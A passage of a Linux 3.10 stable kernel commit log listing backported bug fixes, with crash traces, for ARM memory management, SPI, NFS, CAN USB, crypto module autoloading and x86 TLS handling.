'phys_addr_t' [-Wformat] This patch fixes this warning by pinning down the PFN type to unsigned long. Signed-off-by: Cyril Chemparathy Acked-by: Nicolas Pitre Tested-by: Santosh Shilimkar Tested-by: Subash Patel Signed-off-by: Will Deacon Cc: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a1759d97534e4c57449e65d3be814acc5544ad2d Author: Vitaly Andrianov Date: Tue Jul 10 14:41:17 2012 -0400 ARM: LPAE: use phys_addr_t in alloc_init_pud() commit 20d6956d8cd2452cec0889ff040f18afc03c2e6b upstream. This patch fixes the alloc_init_pud() function to use phys_addr_t instead of unsigned long when passing in the phys argument. This is an extension to commit 97092e0c56830457af0639f6bd904537a150ea4a (ARM: pgtable: use phys_addr_t for physical addresses), which applied similar changes elsewhere in the ARM memory management code. Signed-off-by: Vitaly Andrianov Signed-off-by: Cyril Chemparathy Acked-by: Nicolas Pitre Acked-by: Catalin Marinas Tested-by: Santosh Shilimkar Tested-by: Subash Patel Signed-off-by: Will Deacon Cc: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 272c3453f5ecf21d7e2d82cec42803a846c983d4 Author: Cyril Chemparathy Date: Sun Jul 22 13:40:38 2012 -0400 ARM: LPAE: use signed arithmetic for mask definitions commit 926edcc747e2efb3c9add7ed4dbc4e7a3a959d02 upstream. This patch applies to PAGE_MASK, PMD_MASK, and PGDIR_MASK, where forcing unsigned long math truncates the mask at the 32-bits. This clearly does bad things on PAE systems. This patch fixes this problem by defining these masks as signed quantities. We then rely on sign extension to do the right thing. Signed-off-by: Cyril Chemparathy Signed-off-by: Vitaly Andrianov Reviewed-by: Nicolas Pitre Reviewed-by: Catalin Marinas Tested-by: Santosh Shilimkar Tested-by: Subash Patel Signed-off-by: Will Deacon Cc: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 909ccc073610e515d758049f2a8856ed9701cce2 Author: Steve Capper Date: Fri May 17 12:32:55 2013 +0100 ARM: mm: correct pte_same behaviour for LPAE. commit dde1b65110353517816bcbc58539463396202244 upstream. For 3 levels of paging the PTE_EXT_NG bit will be set for user address ptes that are written to a page table but not for ptes created with mk_pte. This can cause some comparison tests made by pte_same to fail spuriously and lead to other problems. To correct this behaviour, we mask off PTE_EXT_NG for any pte that is present before running the comparison. Signed-off-by: Steve Capper Reviewed-by: Will Deacon Cc: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 12436b2835d64601e9b009df24c19c37f0c9da20 Author: Mugunthan V N Date: Thu Jan 22 15:19:22 2015 +0530 drivers: net: cpsw: discard dual emac default vlan configuration commit 02a54164c52ed6eca3089a0d402170fbf34d6cf5 upstream. In Dual EMAC, the default VLANs are used to segregate Rx packets between the ports, so adding the same default VLAN to the switch will affect the normal packet transfers. So returning error on addition of dual EMAC default VLANs. Even if EMAC 0 default port VLAN is added to EMAC 1, it will lead to break dual EMAC port separations. Fixes: d9ba8f9e6298 (driver: net: ethernet: cpsw: dual emac interface implementation) Reported-by: Felipe Balbi Signed-off-by: Mugunthan V N Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 487ca3192b3f764745b7d0670954b48a2333ea2e Author: Mika Westerberg Date: Mon Dec 29 10:33:36 2014 +0200 spi/pxa2xx: Clear cur_chip pointer before starting next message commit c957e8f084e0d21febcd6b8a0ea9631eccc92f36 upstream. Once the current message is finished, the driver notifies SPI core about this by calling spi_finalize_current_message(). This function queues next message to be transferred. If there are more messages in the queue, it is possible that the driver is asked to transfer the next message at this point. When spi_finalize_current_message() returns the driver clears the drv_data->cur_chip pointer to NULL. The problem is that if the driver already started the next message clearing drv_data->cur_chip will cause NULL pointer dereference which crashes the kernel like: BUG: unable to handle kernel NULL pointer dereference at 0000000000000048 IP: [] cs_deassert+0x18/0x70 [spi_pxa2xx_platform] PGD 78bb8067 PUD 37712067 PMD 0 Oops: 0000 [#1] SMP Modules linked in: CPU: 1 PID: 11 Comm: ksoftirqd/1 Tainted: G O 3.18.0-rc4-mjo #5 Hardware name: Intel Corp. VALLEYVIEW B3 PLATFORM/NOTEBOOK, BIOS MNW2CRB1.X64.0071.R30.1408131301 08/13/2014 task: ffff880077f9f290 ti: ffff88007a820000 task.ti: ffff88007a820000 RIP: 0010:[] [] cs_deassert+0x18/0x70 [spi_pxa2xx_platform] RSP: 0018:ffff88007a823d08 EFLAGS: 00010202 RAX: 0000000000000008 RBX: ffff8800379a4430 RCX: 0000000000000026 RDX: 0000000000000000 RSI: 0000000000000246 RDI: ffff8800379a4430 RBP: ffff88007a823d18 R08: 00000000ffffffff R09: 000000007a9bc65a R10: 000000000000028f R11: 0000000000000005 R12: ffff880070123e98 R13: ffff880070123de8 R14: 0000000000000100 R15: ffffc90004888000 FS: 0000000000000000(0000) GS:ffff880079a80000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b CR2: 0000000000000048 CR3: 000000007029b000 CR4: 00000000001007e0 Stack: ffff88007a823d58 ffff8800379a4430 ffff88007a823d48 ffffffffa0022c89 0000000000000000 ffff8800379a4430 0000000000000000 0000000000000006 ffff88007a823da8 ffffffffa0023be0 ffff88007a823dd8 ffffffff81076204 Call Trace: [] giveback+0x69/0xa0 [spi_pxa2xx_platform] [] pump_transfers+0x710/0x740 [spi_pxa2xx_platform] [] ? pick_next_task_fair+0x744/0x830 [] tasklet_action+0xa9/0xe0 [] __do_softirq+0xee/0x280 [] run_ksoftirqd+0x20/0x40 [] smpboot_thread_fn+0xff/0x1b0 [] ? SyS_setgroups+0x150/0x150 [] kthread+0xcd/0xf0 [] ? kthread_create_on_node+0x180/0x180 [] ret_from_fork+0x7c/0xb0 Fix this by clearing drv_data->cur_chip before we call spi_finalize_current_message(). Reported-by: Martin Oldfield Signed-off-by: Mika Westerberg Acked-by: Robert Jarzmik Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 95b22739d3ace8dc3dac1aedbc6e52c23d2964be Author: Joe Thornber Date: Wed Jan 28 12:07:46 2015 +0000 dm cache: fix missing ERR_PTR returns and handling commit 766a78882ddf79b162243649d7dfdbac1fb6fb88 upstream. Commit 9b1cc9f251 ("dm cache: share cache-metadata object across inactive and active DM tables") mistakenly ignored the use of ERR_PTR returns. Restore missing IS_ERR checks and ERR_PTR returns where appropriate. Reported-by: Dan Carpenter Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5f1e3fbd87fedfc2575e10745ded0fa9791b4118 Author: Joe Thornber Date: Mon Jan 26 11:38:21 2015 +0000 dm thin: don't allow messages to be sent to a pool target in READ_ONLY or FAIL mode commit 2a7eaea02b99b6e267b1e89c79acc6e9a51cee3b upstream. You can't modify the metadata in these modes. It's better to fail these messages immediately than let the block-manager deny write locks on metadata blocks. Otherwise these failed metadata changes will trigger 'needs_check' to get set in the metadata superblock -- requiring repair using the thin_check utility. Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 618b86d3aad9f9e8f77b4ebddd96dfc6dbba4a94 Author: Johannes Berg Date: Fri Jan 23 11:10:12 2015 +0100 nl80211: fix per-station group key get/del and memory leak commit 0fa7b39131576dd1baa6ca17fca53c65d7f62249 upstream. In case userspace attempts to obtain key information for or delete a unicast key, this is currently erroneously rejected unless the driver sets the WIPHY_FLAG_IBSS_RSN flag. Apparently enough drivers do so it was never noticed. Fix that, and while at it fix a potential memory leak: the error path in the get_key() function was placed after allocating a message but didn't free it - move it to a better place. Luckily admin permissions are needed to call this operation. Fixes: e31b82136d1ad ("cfg80211/mac80211: allow per-station GTKs") Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit daedc2fc844ccdf1b71836d56df8b5f39fd8bbcb Author: Trond Myklebust Date: Wed Jan 21 14:37:44 2015 -0500 NFSv4.1: Fix an Oops in nfs41_walk_client_list commit 3175e1dcec40fab1a444c010087f2068b6b04732 upstream. If we start state recovery on a client that failed to initialise correctly, then we are very likely to Oops. Reported-by: "Mkrtchyan, Tigran" Link: http://lkml.kernel.org/r/130621862.279655.1421851650684.JavaMail.zimbra@desy.de Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 50fb1bc7d504ad51f7867661666c569778fdd931 Author: Peng Tao Date: Tue Jan 20 07:44:29 2015 +0800 nfs: fix dio deadlock when O_DIRECT flag is flipped commit ee8a1a8b160a87dc3a9c81a86796aa4db85ea815 upstream. We only support swap file calling nfs_direct_IO. However, application might be able to get to nfs_direct_IO if it toggles O_DIRECT flag during IO and it can deadlock because we grab inode->i_mutex in nfs_file_direct_write(). So return 0 for such case. Then the generic layer will fall back to buffer IO. Signed-off-by: Peng Tao Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 71f8785fe95c14a656c8149eacd585b6c5407d6b Author: Jochen Hein Date: Thu Jan 22 12:03:15 2015 -0800 Input: i8042 - add noloop quirk for Medion Akoya E7225 (MD98857) commit 1d90d6d5522befa8efa1a7ea406be65cf865ded4 upstream. Without this the aux port does not get detected, and consequently the touchpad will not work. With this patch the touchpad is detected: $ dmesg | grep -E "(SYN|i8042|serio)" pnp 00:03: Plug and Play ACPI device, IDs SYN1d22 PNP0f13 (active) i8042: PNP: PS/2 Controller [PNP0303:PS2K,PNP0f13:PS2M] at 0x60,0x64 irq 1,12 serio: i8042 KBD port at 0x60,0x64 irq 1 serio: i8042 AUX port at 0x60,0x64 irq 12 input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input4 psmouse serio1: synaptics: Touchpad model: 1, fw: 8.1, id: 0x1e2b1, caps: 0xd00123/0x840300/0x126800, board id: 2863, fw id: 1473085 input: SynPS/2 Synaptics TouchPad as /devices/platform/i8042/serio1/input/input6 dmidecode excerpt for this laptop is: Handle 0x0001, DMI type 1, 27 bytes System Information Manufacturer: Medion Product Name: Akoya E7225 Version: 1.0 Signed-off-by: Jochen Hein Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f8d48d3ccc580aa96489f0d15c6ce3870a4c2766 Author: Clemens Ladisch Date: Sun Jan 25 14:34:29 2015 +0100 ALSA: seq-dummy: remove deadlock-causing events on close commit 0767e95bb96d7fdddcd590fb809e6975d93aebc5 upstream. When the last subscriber to a "Through" port has been removed, the subscribed destination ports might still be active, so it would be wrong to send "all sounds off" and "reset controller" events to them. The proper place for such a shutdown would be the closing of the actual MIDI port (and close_substream() in rawmidi.c already can do this). This also fixes a deadlock when dummy_unuse() tries to send events to its own port that is already locked because it is being freed. Reported-by: Peter Billam Signed-off-by: Clemens Ladisch Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bbf5efd9660b659dd7234d15bae060cdc58d4bd6 Author: Laurent Dufour Date: Thu Jan 15 18:23:47 2015 +0100 powerpc/xmon: Fix another endiannes issue in RTAS call from xmon commit e6eb2eba494d6f99e69ca3c3748cd37a2544ab38 upstream. The commit 3b8a3c010969 ("powerpc/pseries: Fix endiannes issue in RTAS call from xmon") was fixing an endianness issue in the call made from xmon to RTAS. However, as Michael Ellerman noticed, this fix was not complete, the token value was not byte swapped. This lead to call an unexpected and most of the time unexisting RTAS function, which is silently ignored by RTAS. This fix addresses this hole. Reported-by: Michael Ellerman Signed-off-by: Laurent Dufour Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 45d8cd05d31431bde5a7a6a4978ef0f05d0c5aa6 Author: Ahmed S. Darwish Date: Mon Jan 26 07:25:43 2015 +0200 can: kvaser_usb: Fix state handling upon BUS_ERROR events commit e638642b08c170d2021b706f0b1c4f4ae93d8cbd upstream. While being in an ERROR_WARNING state, and receiving further bus error events with error counters still in the ERROR_WARNING range of 97-127 inclusive, the state handling code erroneously reverts back to ERROR_ACTIVE. Per the CAN standard, only revert to ERROR_ACTIVE when the error counters are less than 96. Moreover, in certain Kvaser models, the BUS_ERROR flag is always set along with undefined bits in the M16C status register. Thus use bitwise operators instead of full equality for checking that register against bus errors. Signed-off-by: Ahmed S. Darwish Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 06891ae64a3c26c9042de6f2b6765eee3b925148 Author: Ahmed S. Darwish Date: Mon Jan 26 07:24:06 2015 +0200 can: kvaser_usb: Retry the first bulk transfer on -ETIMEDOUT commit 14c10c2a1dd8eb8e00b750b521753260befa2789 upstream. On some x86 laptops, plugging a Kvaser device again after an unplug makes the firmware always ignore the very first command. For such a case, provide some room for retries instead of completely exiting the driver init code. Signed-off-by: Ahmed S. Darwish Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d65ca8e5d20352fef7f8c797871edd76fe09d08c Author: Ahmed S. Darwish Date: Mon Jan 26 07:22:54 2015 +0200 can: kvaser_usb: Send correct context to URB completion commit 3803fa6977f1de15fda4e8646c8fec97c8045cae upstream. Send expected argument to the URB completion hander: a CAN netdevice instead of the network interface private context `kvaser_usb_net_priv'. This was discovered by having some garbage in the kernel log in place of the netdevice names: can0 and can1. Signed-off-by: Ahmed S. Darwish Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f93abf763e29a61d0e28c9d1f1373457f2a64a06 Author: Ahmed S. Darwish Date: Mon Jan 26 07:20:39 2015 +0200 can: kvaser_usb: Do not sleep in atomic context commit ded5006667318c06df875609535176bd33f243a1 upstream. Upon receiving a hardware event with the BUS_RESET flag set, the driver kills all of its anchored URBs and resets all of its transmit URB contexts. Unfortunately it does so under the context of URB completion handler `kvaser_usb_read_bulk_callback()', which is often called in an atomic context. While the device is flooded with many received error packets, usb_kill_urb() typically sleeps/reschedules till the transfer request of each killed URB in question completes, leading to the sleep in atomic bug. [3] In v2 submission of the original driver patch [1], it was stated that the URBs kill and tx contexts reset was needed since we don't receive any tx acknowledgments later and thus such resources will be locked down forever. Fortunately this is no longer needed since an earlier bugfix in this patch series is now applied: all tx URB contexts are reset upon CAN channel close. [2] Moreover, a BUS_RESET is now treated _exactly_ like a BUS_OFF event, which is the recommended handling method advised by the device manufacturer. [1] http://article.gmane.org/gmane.linux.network/239442 http://www.webcitation.org/6Vr2yagAQ [2] can: kvaser_usb: Reset all URB tx contexts upon channel close 889b77f7fd2bcc922493d73a4c51d8a851505815 [3] Stacktrace: [] dump_stack+0x45/0x57 [] __schedule_bug+0x41/0x4f [] __schedule+0x5f1/0x700 [] ? _raw_spin_unlock_irqrestore+0xa/0x10 [] schedule+0x24/0x70 [] usb_kill_urb+0x65/0xa0 [] ? prepare_to_wait_event+0x110/0x110 [] usb_kill_anchored_urbs+0x48/0x80 [] kvaser_usb_unlink_tx_urbs+0x18/0x50 [kvaser_usb] [] kvaser_usb_rx_error+0xc0/0x400 [kvaser_usb] [] ? vprintk_default+0x1a/0x20 [] kvaser_usb_read_bulk_callback+0x4c1/0x5f0 [kvaser_usb] [] __usb_hcd_giveback_urb+0x5e/0xc0 [] usb_hcd_giveback_urb+0x41/0x110 [] finish_urb+0x98/0x180 [ohci_hcd] [] ? acct_account_cputime+0x17/0x20 [] ? local_clock+0x15/0x30 [] ohci_work+0x1fb/0x5a0 [ohci_hcd] [] ? process_backlog+0xb1/0x130 [] ohci_irq+0xeb/0x270 [ohci_hcd] [] usb_hcd_irq+0x21/0x30 [] handle_irq_event_percpu+0x43/0x120 [] handle_irq_event+0x3d/0x60 [] handle_fasteoi_irq+0x74/0x110 [] handle_irq+0x1d/0x30 [] do_IRQ+0x57/0x100 [] common_interrupt+0x6a/0x6a Signed-off-by: Ahmed S. Darwish Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e1c63554b53f071e04e5507b7366f107f7166079 Author: Zidan Wang Date: Wed Dec 31 11:39:14 2014 +0800 ASoC: wm8960: Fix capture sample rate from 11250 to 11025 commit 22ee76daddb87f88d2336d1b4737ef27c4f307ac upstream. wm8960 codec can't support sample rate 11250, it must be 11025. Signed-off-by: Zidan Wang Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2ae0590fe23bc841509ed86f8e5e27a0419f0849 Author: Andy Shevchenko Date: Fri Jan 2 17:48:51 2015 +0200 spi: dw-mid: fix FIFO size commit 67bf9cda4b498b8cea4a40be67a470afe57d2e88 upstream. The FIFO size is 40 accordingly to the specifications, but this means 0x40, i.e. 64 bytes. This patch fixes the typo and enables FIFO size autodetection for Intel MID devices. Fixes: 7063c0d942a1 (spi/dw_spi: add DMA support) Signed-off-by: Andy Shevchenko Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5be044d4d33996ebca63dfff574cd40d2e8fd657 Author: Greg Kroah-Hartman Date: Thu Jan 29 17:42:36 2015 -0800 Linux 3.10.67 Signed-off-by: Pranav Vashi commit 71e16237b4202a1d832535d29e401601e1f14465 Author: NeilBrown Date: Wed Dec 3 16:07:58 2014 +1100 md/raid5: fetch_block must fetch all the blocks handle_stripe_dirtying wants. commit 108cef3aa41669610e1836fe638812dd067d72de upstream. It is critical that fetch_block() and handle_stripe_dirtying() are consistent in their analysis of what needs to be loaded. Otherwise raid5 can wait forever for a block that won't be loaded. Currently when writing to a RAID5 that is resyncing, to a location beyond the resync offset, handle_stripe_dirtying chooses a reconstruct-write cycle, but fetch_block() assumes a read-modify-write, and a lockup can happen. So treat that case just like RAID6, just as we do in handle_stripe_dirtying. RAID6 always does reconstruct-write. This bug was introduced when the behaviour of handle_stripe_dirtying was changed in 3.7, so the patch is suitable for any kernel since, though it will need careful merging for some versions. Cc: stable@vger.kernel.org (v3.7+) Fixes: a7854487cd7128a30a7f4f5259de9f67d5efb95f Reported-by: Henry Cai Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ddf993b700341fda8e1dfc322b2ca4c82ec3d2d3 Author: Jan Kara Date: Sat Aug 17 09:36:54 2013 -0400 ext4: fix warning in ext4_da_update_reserve_space() commit 7d7345322d60edb0fa49a64a89b31360f01d09cb upstream. reaim workfile.dbase test easily triggers warning in ext4_da_update_reserve_space(): EXT4-fs warning (device ram0): ext4_da_update_reserve_space:365: ino 12, allocated 1 with only 0 reserved metadata blocks (releasing 1 blocks with reserved 9 data blocks) The problem is that (one of) tests creates file and then randomly writes to it with O_SYNC. That results in writing back pages of the file in random order so we create extents for written blocks say 0, 2, 4, 6, 8 - this last allocation also allocates new block for extents. Then we writeout block 1 so we have extents 0-2, 4, 6, 8 and we release indirect extent block because extents fit in the inode again. Then we writeout block 10 and we need to allocate indirect extent block again which triggers the warning because we don't have the reservation anymore. Fix the problem by giving back freed metadata blocks resulting from extent merging into inode's reservation pool. Signed-off-by: Jan Kara Cc: Josh Hunt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d3f71a92b18fb87ea71900e04317f0caffe418c6 Author: Jan Kara Date: Sat Aug 17 09:32:32 2013 -0400 quota: provide interface for readding allocated space into reserved space commit 1c8924eb106c1ac755d5d35ce9b3ff42e89e2511 upstream. ext4 needs to convert allocated (metadata) blocks back into blocks reserved for delayed allocation. Add functions into quota code for supporting such operation. Signed-off-by: Jan Kara Signed-off-by: "Theodore Ts'o" Cc: Josh Hunt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 96510ba4076d525315fcfbdafb8e5bfb651274ac Author: Mathias Krause Date: Sun Jan 11 18:17:42 2015 +0100 crypto: add missing crypto module aliases commit 3e14dcf7cb80b34a1f38b55bc96f02d23fdaaaaf upstream. Commit 5d26a105b5a7 ("crypto: prefix module autoloading with "crypto-"") changed the automatic module loading when requesting crypto algorithms to prefix all module requests with "crypto-". This requires all crypto modules to have a crypto specific module alias even if their file name would otherwise match the requested crypto algorithm. Even though commit 5d26a105b5a7 added those aliases for a vast amount of modules, it was missing a few. Add the required MODULE_ALIAS_CRYPTO annotations to those files to make them get loaded automatically, again. This fixes, e.g., requesting 'ecb(blowfish-generic)', which used to work with kernels v3.18 and below. Also change MODULE_ALIAS() lines to MODULE_ALIAS_CRYPTO(). The former won't work for crypto modules any more. Fixes: 5d26a105b5a7 ("crypto: prefix module autoloading with "crypto-"") Cc: Kees Cook Signed-off-by: Mathias Krause Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 82789f923439e83cdd9f6349a9e562841e536fe8 Author: Kees Cook Date: Mon Nov 24 16:32:38 2014 -0800 crypto: include crypto- module prefix in template commit 4943ba16bbc2db05115707b3ff7b4874e9e3c560 upstream. This adds the module loading prefix "crypto-" to the template lookup as well. For example, attempting to load 'vfat(blowfish)' via AF_ALG now correctly includes the "crypto-" prefix at every level, correctly rejecting "vfat": net-pf-38 algif-hash crypto-vfat(blowfish) crypto-vfat(blowfish)-all crypto-vfat Reported-by: Mathias Krause Signed-off-by: Kees Cook Acked-by: Mathias Krause Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 28de2aca3a3c7c3c387c2749e8544ff5f9df8b73 Author: Kees Cook Date: Thu Nov 20 17:05:53 2014 -0800 crypto: prefix module autoloading with "crypto-" commit 5d26a105b5a73e5635eae0629b42fa0a90e07b7b upstream. This prefixes all crypto module loading with "crypto-" so we never run the risk of exposing module auto-loading to userspace via a crypto API, as demonstrated by Mathias Krause: https://lkml.org/lkml/2013/3/4/70 Signed-off-by: Kees Cook Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b7a24014ea099010263695987fefec09ba7c653f Author: Lars Ellenberg Date: Mon Nov 10 17:21:13 2014 +0100 drbd: merge_bvec_fn: properly remap bvm->bi_bdev commit 3b9d35d744bb5139f9fed57f38c019bb8c7d351c upstream. This was not noticed for many years. Affects operation if md raid is used a backing device for DRBD. CC: stable@kernel.org # v3.2+ Signed-off-by: Philipp Reisner Signed-off-by: Lars Ellenberg Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 16725bb1ef8dcaf9ced20acc9b8315a7b75bca98 Author: David Vrabel Date: Wed Dec 10 14:48:43 2014 +0000 Revert "swiotlb-xen: pass dev_addr to swiotlb_tbl_unmap_single" commit dbdd74763f1faf799fbb9ed30423182e92919378 upstream. This reverts commit 2c3fc8d26dd09b9d7069687eead849ee81c78e46. This commit broke on x86 PV because entries in the generic SWIOTLB are indexed using (pseudo-)physical address not DMA address and these are not the same in a x86 PV guest. Signed-off-by: David Vrabel Reviewed-by: Stefano Stabellini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fcaf4ce3ede737c4d5993447d93e313571785cff Author: Dan Carpenter Date: Sat Dec 6 16:49:24 2014 +0300 ipvs: uninitialized data with IP_VS_IPV6 commit 3b05ac3824ed9648c0d9c02d51d9b54e4e7e874f upstream. The app_tcp_pkt_out() function expects "*diff" to be set and ends up using uninitialized data if CONFIG_IP_VS_IPV6 is turned on. The same issue is there in app_tcp_pkt_in(). Thanks to Julian Anastasov for noticing that. Signed-off-by: Dan Carpenter Acked-by: Julian Anastasov Signed-off-by: Simon Horman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1527e66562d8b68f8d7095c27d9112664c52f506 Author: Andy Shevchenko Date: Wed Jan 7 15:24:19 2015 +0200 sata_dwc_460ex: fix resource leak on error path commit 4aaa71873ddb9faf4b0c4826579e2f6d18ff9ab4 upstream. DMA mapped IO should be unmapped on the error path in probe() and unconditionally on remove(). Fixes: 62936009f35a ([libata] Add 460EX on-chip SATA driver, sata_dwc_460ex) Signed-off-by: Andy Shevchenko Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cf0540d933499e971eda551d5ea4afd5efcac11a Author: Andy Lutomirski Date: Mon Nov 24 17:39:06 2014 -0800 x86/asm/traps: Disable tracing and kprobes in fixup_bad_iret and sync_regs commit 7ddc6a2199f1da405a2fb68c40db8899b1a8cd87 upstream. These functions can be executed on the int3 stack, so kprobes are dangerous. Tracing is probably a bad idea, too. Fixes: b645af2d5905 ("x86_64, traps: Rework bad_iret") Signed-off-by: Andy Lutomirski Cc: Linus Torvalds Cc: Steven Rostedt Link: http://lkml.kernel.org/r/50e33d26adca60816f3ba968875801652507d0c4.1416870125.git.luto@amacapital.net Signed-off-by: Ingo Molnar [bwh: Backported to 3.10: - Use __kprobes instead of NOKPROBE_SYMBOL() - Adjust context] Signed-off-by: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1cf629c18bb3fb7dd0b662afbbdea602b89e6bb9 Author: Andy Lutomirski Date: Thu Jan 22 11:27:59 2015 -0800 x86, tls: Interpret an all-zero struct user_desc as "no segment" commit 3669ef9fa7d35f573ec9c0e0341b29251c2734a7 upstream. The Witcher 2 did something like this to allocate a TLS segment index: struct user_desc u_info; bzero(&u_info, sizeof(u_info)); u_info.entry_number = (uint32_t)-1; syscall(SYS_set_thread_area, &u_info); Strictly speaking, this code was never correct. It should have set read_exec_only and seg_not_present to 1 to indicate that it wanted to find a free slot without putting anything there, or it should have put something sensible in the TLS slot if it wanted to allocate a TLS entry for real. The actual effect of this code was to allocate a bogus segment that could be used to exploit espfix. The set_thread_area hardening patches changed the behavior, causing set_thread_area to return -EINVAL and crashing the game. This changes set_thread_area to interpret this as a request to find a free slot and to leave it empty, which isn't *quite* what the game expects but should be close enough to keep it working. In particular, using the code above to allocate two segments will allocate the same segment both times. According to FrostbittenKing on Github, this fixes The Witcher 2. If this somehow still causes problems, we could instead allocate a limit==0 32-bit data segment, but that seems rather ugly to me. Fixes: 41bdc78544b8 x86/tls: Validate TLS entries to protect espfix Signed-off-by: Andy Lutomirski Cc: torvalds@linux-foundation.org Link: http://lkml.kernel.org/r/0cb251abe1ff0958b8e468a9a9a905b80ae3a746.1421954363.git.luto@amacapital.net Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b163ad3e6a6d8f2f311f1df365a5ad83292edb26 Author: Andy Lutomirski Date: Thu Jan 22 11:27:58 2015 -0800 x86, tls, ldt: Stop checking lm in LDT_empty commit e30ab185c490e9a9381385529e0fd32f0a399495 upstream. 32-bit programs don't have an lm bit in their ABI, so they can't reliably cause LDT_empty to return true without resorting to memset. They shouldn't need to do this. This should fix a longstanding, if minor, issue in all 64-bit kernels as well as a potential regression in the TLS hardening code. Fixes: 41bdc78544b8 x86/tls: Validate TLS entries to protect espfix Signed-off-by: Andy Lutomirski Cc: torvalds@linux-foundation.org Link: http://lkml.kernel.org/r/72a059de55e86ad5e2935c80aa91880ddf19d07c.1421954363.git.luto@amacapital.net Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 44f7f8fc2320c31a2d5c91350f640109a44c9aaa Author: Alexandre Demers Date: Tue Dec 9 01:27:50 2014 -0500 x86/tsc: Change Fast TSC calibration failed from error to info commit 520452172e6b318f3a8bd9d4fe1e25066393de25 upstream. Many users see this message when booting without knowning that it is of no importance and that TSC calibration may have succeeded by another way. As explained by Paul Bolle in http://lkml.kernel.org/r/1348488259.1436.22.camel@x61.thuisdomein "Fast TSC calibration failed" should not be considered as an error since other calibration methods are being tried afterward. At most, those send a warning if they fail (not an error). So let's change the message from error to warning. [ tglx: Make if pr_info. It's really not important at all ] Fixes: c767a54ba065 x86/debug: Add KERN_ to bare printks, convert printks to pr_ Signed-off-by: Alexandre Demers Link: http://lkml.kernel.org/r/1418106470-6906-1-git-send-email-alexandre.f.demers@gmail.com Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2a50428d4cd1e4d826d31619440913e3ad76a73d Author: K. Y. Srinivasan Date: Mon Jan 12 16:26:02 2015 -0800 x86, hyperv: Mark the Hyper-V clocksource as being continuous commit 32c6590d126836a062b3140ed52d898507987017 upstream. The Hyper-V clocksource is continuous; mark it accordingly. Signed-off-by: K. Y. Srinivasan Acked-by: jasowang@redhat.com Cc: gregkh@linuxfoundation.org Cc: devel@linuxdriverproject.org Cc: olaf@aepfle.de Cc: apw@canonical.com Link: http://lkml.kernel.org/r/1421108762-3331-1-git-send-email-kys@microsoft.com Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ae61803d9743800519b67c0b5bff4139dfea39fd Author: Tobias Jakobi Date: Wed Oct 22 03:37:08 2014 +0200 clocksource: exynos_mct: Fix bitmask regression for exynos4_mct_write commit 8c38d28ba8da98f7102c31d35359b4dbe9d1f329 upstream. EXYNOS4_MCT_L_MASK is defined as 0xffffff00, so applying this bitmask produces a number outside the range 0x00 to 0xff, which always results in execution of the default switch statement. Obviously this is wrong and git history shows that the bitmask inversion was incorrectly set during a refactoring of the MCT code. Fix this by putting the inversion at the correct position again. Acked-by: Kukjin Kim Reported-by: GP Orcullo Reviewed-by: Doug Anderson Signed-off-by: Tobias Jakobi Signed-off-by: Daniel Lezcano Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi 